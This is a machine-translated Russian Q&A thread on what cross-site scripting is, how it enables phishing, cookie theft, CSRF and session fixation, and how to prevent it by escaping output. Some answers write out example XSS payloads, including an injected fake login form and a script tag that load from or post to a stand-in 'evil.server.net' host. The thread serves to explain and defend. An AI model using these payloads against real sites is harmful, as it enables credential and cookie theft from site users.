Какова общая концепция XSS? - PullRequest
       28

Какова общая концепция XSS?

17 голосов
/ 10 февраля 2010

Межсайтовый скриптинг (XSS) является типом уязвимости компьютерной безопасности обычно встречается в веб-приложениях которые позволяют злоумышленникам внедрить клиентский скрипт в веб страницы, просмотренные другими пользователями. использовать межсайтовый скриптинг уязвимость может быть использована злоумышленниками обойти средства управления доступом, такие как та же политика происхождения. Межсайтовый скрипты на сайтах были примерно 80% всей безопасности уязвимости, задокументированные Symantec по состоянию на 2007 год.

Ладно, значит ли это, что хакер создает некий вредоносный JS / VBscript и доставляет его ничего не подозревающей жертве при посещении легитимного сайта, на котором есть входы без выхода?

Я имею в виду, я знаю, как делается SQL-инъекция ....

Я особенно не понимаю, как JS / VBscript может нанести такой большой ущерб! Я полагаю, что они запускаются только в браузерах, но, очевидно, урон варьируется от кейлогинга до кражи куки и троянов .

Правильно ли я понимаю XSS? если нет, может кто-нибудь уточнить?

Как я могу предотвратить появление XSS на моих сайтах? Это кажется важным; 80% уязвимостей в системе безопасности означают, что это очень распространенный метод взлома компьютеров.

Ответы [ 5 ]

21 голосов
/ 10 февраля 2010

Поскольку ответы о том, как XSS может быть вредоносным, уже даны, я опубликую только два хороших введения в флэш-память о XSS и отвечу на следующий вопрос, оставленный без ответа:

как я могу предотвратить появление XSS на моих сайтах?

Вот два хороших флеш введения о XSS:

Что касается предотвращения использования XSS, вам нужно отключить HTML любой контролируемый пользователем ввод , когда они собираются снова отобразиться на странице. Это включает в себя заголовки запроса, параметры запроса и любой сохраненный контролируемый пользователем ввод, который должен обслуживаться из базы данных. Особенно необходимо экранировать <, >, " и ', поскольку это может привести к искажению окружающего HTML-кода, в котором этот ввод был повторно отображен.

Практически любая технология представления предоставляет встроенные способы экранирования HTML (или XML, что также достаточно) сущностей .

В PHP вы можете сделать это с помощью htmlspecialchars(). Э.Г.

<input name="foo" value="<?php echo htmlspecialchars($foo); ?>">

Если вам нужно экранировать одинарные кавычки и с этим, вам нужно будет указать аргумент ENT_QUOTES, также смотрите вышеупомянутую документацию PHP.

В JSP вы можете сделать это с помощью JSTL <c:out> или fn:escapeXml(). Э.Г.

<input name="foo" value="<c:out value="${param.foo}" />">

или

<input name="foo" value="${fn:escapeXml(param.foo)}">

Обратите внимание, что вам на самом деле не нужно выходить из XSS во время обработки запроса, а только во время обработки ответа. Экранирование во время обработки запроса не требуется, и оно может рано или поздно нарушает пользовательский ввод (и, будучи администратором сайта, вы также хотели бы знать , что на самом деле имеет данный пользователь введен так, что вы можете принять социальные действия, если это необходимо). Что касается SQL-инъекций, просто избегайте его во время обработки запроса в тот момент, когда данные будут сохранены в базе данных.

19 голосов
/ 10 февраля 2010

Прямой вперед XSS

  1. Я считаю, что в Google есть xss уязвимость
  2. Я пишу сценарий, который переписывает общедоступную страницу Google, чтобы она выглядела точно так же, как фактический логин Google
  3. Моя поддельная страница отправляется на сторонний сервер, а затем перенаправляет обратно на реальную страницу
  4. Я получаю пароли к аккаунту Google, пользователи не понимают, что произошло, Google не знает, что случилось

XSS как платформа для CSRF (предположительно это действительно произошло)

  1. У Amazon есть уязвимость в csrf, из-за которой cookie «всегда держи меня в курсе» позволяет пометить запись как оскорбительную
  2. Я обнаружил xss-уязвимость на сайте с высоким трафиком
  3. Я пишу javascript, который подбирает URL, чтобы пометить все книги, написанные геями / лесбиянками на Амазонке, как оскорбительные
  4. К удивлению, они получают действительные запросы от реальных браузеров с настоящими аутентификационными cookie-файлами. Все книги исчезают с сайта в одночасье
  5. Интернет чертовски ужасен.

XSS как платформа для атак фиксации сеанса

  1. Я нахожу сайт электронной коммерции, который не сбрасывает свой сеанс после входа в систему (как любой сайт asp.net), имеет возможность передавать идентификатор сеанса через строку запроса или через cookie и сохраняет информацию об аутентификации в сеансе (довольно часто)
  2. Я обнаружил уязвимость XSS на странице этого сайта
  3. Я пишу скрипт, который устанавливает идентификатор сеанса под тот, которым я управляю
  4. Кто-то заходит на эту страницу и сталкивается с моим сеансом.
  5. Они входят
  6. Теперь у меня есть возможность делать все, что я захочу, включая покупку товаров с сохраненными картами

Эти трое самые большие. Проблема с атаками XSS, CSRF и фиксацией сеансов заключается в том, что их очень и очень трудно отследить и исправить, и их очень просто допустить, особенно если разработчик о них мало что знает.

6 голосов
/ 10 февраля 2010

Я не понимаю, как JS / VBscript может нанести такой большой ущерб!

Хорошо.Предположим, у вас есть сайт, и сайт обслуживается с http://trusted.server.com/thesite.Допустим, у этого сайта есть окно поиска, и при поиске URL-адрес становится следующим: http://trusted.server.com/thesite?query=somesearchstring.

Если сайт решает не обрабатывать строку поиска и выводит ее в результате, например, «Вы ищете» somesearchstring"ничего не дало, тогда любой может ввести произвольный html на сайт. Например:

http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input  name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>

Так что в этом случае сайт покорно покажет поддельную форму входа на странице результатов поиска.и, если пользователь отправит его, он отправит данные на злой ненадежный сервер. Но пользователь этого не видит, особенно если URL очень длинный, он просто увидит первое, но и предположит, что имеет дело сtrusted.server.com.

Варианты этого включают внедрение тега <script>, который добавляет обработчики событий в документ для отслеживания действий пользователя или отправку файла cookie документа на злой сервер. Таким образом, вы можете надеятьсянатолкнуться на конфиденциальные данные, такие как логин, пароль или данные кредитной карты, или вы можете попробовать вставить специально стилизованный <iframe>, который занимает весьЭто окно и обслуживает сайт, который выглядит как оригинал, но на самом деле происходит от evil.server.com.Пока пользователь обманут в использовании введенного содержимого вместо оригинального, безопасность подвергается риску.

Этот тип XSS называется отражающим и непостоянным.Рефлексивный, потому что URL-адрес «освобождается» непосредственно в ответе, и непостоянный, потому что реальный сайт не изменяется - он просто служит проходом.Обратите внимание, что что-то вроде https здесь не обеспечивает никакой защиты - сам сайт не работает, потому что он блокирует ввод пользователя через строку запроса.

Теперь хитрость заключается в том, чтобы заставить ничего не подозревающих пользователей доверять любым ссылкам, которые вы им предоставляете.Например, вы можете отправить им электронное письмо в формате HTML и включить привлекательную ссылку, которая указывает на поддельный URL.Или, возможно, вы можете распространять его на вики, форумах и т. Д. Я уверен, что вы можете оценить, насколько это просто на самом деле - это просто ссылка, что может пойти не так, не так ли?

Иногда это может быть хуже.Некоторые сайты на самом деле хранят пользовательский контент.Простой пример: комментарии в блоге или темы на форуме.Или это может быть более тонким: страница профиля пользователя в социальной сети.Если эти страницы допускают произвольный html, особенносценарий, и этот предоставленный пользователем HTML хранится и воспроизводится, то все, кто просто посещает страницу, которая содержит этот контент, находится в опасности.Это постоянный XSS.Теперь пользователям даже не нужно больше нажимать на ссылку, достаточно просто зайти.Опять же, настоящая атака состоит в изменении страницы с помощью скрипта для сбора пользовательских данных.

Внедрение скрипта может быть тупым, например, можно вставить полный <script src="http://evil.server.net/script.js"> или может быть тонким: <img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>.

Что касается того, как защитить себя: ключ в том, чтобы никогда не выводить пользовательский ввод.Это может быть сложно, если ваш сайт вращается вокруг предоставленного пользователем контента с разметкой.

5 голосов
/ 10 февраля 2010

Представьте себе веб-форум. XSS-атака может заключаться в том, что я делаю пост с некоторым javascript. Когда вы переходите на страницу, ваша веб-страница будет загружаться и запускать JS и делать то, что я говорю. После того, как вы зашли на страницу и, скорее всего, вошли в систему, мой javascript сделает все, что у вас есть, например, создать сообщение, удалить свои сообщения, вставить спам, показать всплывающее окно и т. Д.

Таким образом, реальная концепция XSS заключается в том, что скрипт выполняется в вашем пользовательском контексте, что является повышением привилегий. Вы должны быть осторожны, чтобы в любом месте вашего приложения, получающего пользовательский ввод, не было сценариев и т. Д. Внутри него, чтобы гарантировать невозможность выполнения XSS.

Вы должны остерегаться вторичных атак. Представьте, если я добавлю вредоносный скрипт в свое имя пользователя. Это может перейти на веб-сайт без проверки, а затем записать обратно без проверки, но тогда любая страница, просматриваемая с моим именем пользователя, будет фактически выполнять вредоносный скрипт в вашем пользовательском контексте.

Побег пользовательского ввода. Не бросайте свой код, чтобы сделать это. Проверьте все, что входит, и все, что выходит.

0 голосов
/ 10 февраля 2010

Проблемы XSS-атак больше связаны с рыбалкой. Проблема заключается в том, что сайту, которому доверяет клиент, может быть добавлен код, который ведет к сайту, созданному злоумышленником для определенной цели. Кража конфиденциальной информации, например.

Итак, при атаках XSS вторженные не попадают в вашу базу данных и не связываются с ней. Он пытается понять, что этот сайт безопасен, и каждая ссылка на нем указывает на безопасное местоположение.

Это только первый шаг настоящей атаки - привести клиента в агрессивную среду.

Я могу привести вам краткий пример. Если банковское учреждение, например, размещает на своей странице рупор, и они не защищают меня от атаки XSS, я могу кричать: «Приходите по этой ссылке и введите свои пароли и номер кредитной карты Нет для проверки безопасности!» ... А ты знаешь, куда эта ссылка приведет, верно?

Вы можете предотвратить атаки XSS, убедившись, что на вашей странице ничего не отображается, что поступает от ввода пользователя без экранирования тегов html. Специальные символы должны быть экранированы, чтобы они не мешали разметке ваших HTML-страниц (или любой другой технологии, которую вы используете). Есть много библиотек, которые предоставляют это, включая библиотеку Microsoft AntiXSS.

...